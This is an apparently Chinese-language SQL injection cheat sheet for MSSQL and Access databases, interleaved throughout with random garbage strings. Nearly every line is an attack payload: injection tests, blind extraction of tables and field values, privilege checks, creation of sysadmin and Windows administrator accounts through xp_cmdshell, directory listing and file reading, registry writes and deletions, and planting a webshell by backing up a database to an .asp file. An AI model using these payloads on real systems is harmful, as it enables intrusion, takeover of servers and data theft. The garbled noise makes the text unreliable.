1.判断是否有注入;and 1=1 ;and 1=2 qv=i eU
2.初步判断是否是mssql ;and user>0 a%sr*`
~(%nnG6x
3.注入参数是字符'and [查询条件] and ''=' z6b!,lp
+PY LKyS>
4.搜索时没过滤参数的'and [查询条件] and '%25'=' BYrj#n5
-D0kp~AO4N
5.判断数据库系统 {o4m3[C7=}
zVYX#- nv
;and (select count(*) from sysobjects)>0 mssql kl_JJX6jPP
?x"<0k1g
;and (select count(*) from msysobjects)>0 access tD.md_E
kA{[k
;dNKe.`Dg
gEMxK2MNXj
6.猜数据库 ;and (select Count(*) from [数据库名])>0 JVFn=Mw
^N _kiSr
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 <|~X,g;f
)VID
;l;4
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r%JJ5Al.S
9^<t0oY
9.(1)猜字段的ascii值(access) 3@*J=LGhKc
1j
"/}0fx
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 J84Q|E
L\XnTL{
(2)猜字段的ascii值(mssql) aRdzXq#x
oEd+
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 D|@*HX@_Xp
9"KEHf!
10.测试权限结构(mssql) N2vSJ\u
Lf{9=;
eYMp@Cx
]
hGU.C"(
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- O{uc
h
V<Q''%k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1WRQjT=o
j]#qq]c
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Ds?
@LE|
Stq&^S\x69
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- YD_hg#=n
\3LP@;Phn
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- OaY.T
gE]6]L
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- _]@
V6P2W0m
;and 1=(select IS_MEMBER('db_owner'));-- '/%]B@!
?zGx]?1P1<
}lt5!u~}
,c<&)6FU]
11.添加mssql和系统的帐户
v% 6uU
GX?R# cf
;exec master.dbo.sp_addlogin username;-- m r"b/oM{
;exec master.dbo.sp_password null,username,password;-- .R'<v^H
n@xC?D:t*
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- S-l<+O1fy
;c p*]
;exec master.dbo.xp_cmdshell 'net user username password m/@ ;N,K
U{/d dCf7
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- OGW,[k=2{
LK\L}<;1V
;exec master.dbo.xp_cmdshell 'net user username password /add';-- _)-t#Ve
])F*)U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- (7Su{tq
@+Ch2Lod
>-U'mkIH
mq
0 d ea
12.(1)遍历目录 +~xY}
)!z4LE
;create table dirs(paths varchar(100), id int) >NLG"[\
6S K;1Bp-{
;insert dirs exec master.dbo.xp_dirtree 'c:\' #uTNf78X
Zp8\n:
;and (select top 1 paths from dirs)>0 W]Bc7JM]T+
'Ur1I"
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) pmda9V4
sgYPR
kU:ge
>b\{y}[
(2)遍历目录 [B~*88T
qzon);#7w
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- mok94XuK)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 +_E^E
|"]#jx*8KC
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 X LHi
TAL,(&[s
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 wrP3:!=
gXJtk;
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }%75Wety
1S[4@rZ
u~rPqBT{d3
aH/8&.JLi
13.mssql中的存储过程 {L'uuG\9U
J:Mn5hdK=
xp_regenumvalues 注册表根键, 子键 osM[Xv
pyUzHF0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 'p_|Rw>
P5Bva
xp_regread 根键,子键,键值名 6~34L{u
vVhSl$mW
;exec xp_regread \jmT#Gt`9
i[Qq,MmC
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 HIGTo\]Z
xs
1V?0
xp_regwrite 根键,子键, 值名, 值类型, 值 h
?_@nQ!
lvOM1I
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /np05XhEa
&?@gCVNO,
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 V~#8lu7;
(N6=+dNY
xp_regdeletevalue 根键,子键,值名 qrHCr:~
DX0#q #
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 5Vc~yMz
~@#s<a,%;
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5X PoQ^
\E
{'|
,UYe OM2Ao
/z
m+
14.mssql的backup创建webshell qWU59:d^{
M1z ?E@kz
use model zYxA#TZL
AvVPPEryal
create table cmd(str image); j];#=+
vYybQ&E/
insert into cmd(str) values (''); ,\-4X
o)wOXF
backup database model to disk='c:\l.asp'; eN'b"_D
B='(0Uxy-
:*M2@
_WGWU7h
15.mssql内置函数 C).+h7{nd
oj=%< a
;and (select @@version)>0 获得Windows的版本号 (zPsA
~\*wt( o
;and user_name()='dbo' 判断当前系统的连接用户是不是sa a51}~V1
5g`J}@"k
;and (select user_name())>0 爆当前系统的连接用户 e= XC$Jv
IL,iu
;and (select db_name())>0 得到当前连接的数据库 [{0/'+;9
HHerL%/
(&=3Y8
G%junS'zt
16.简洁的webshell bN&DotG
Qe0?n
use model %(S!/(LWW
cSBS38>
create table cmd(str image); 610u!_-
l*Q OM
insert into cmd(str) values (''); BI<(]`FP;s
B~E>=85z
backup database model to disk='g:\wwwtest\l.asp';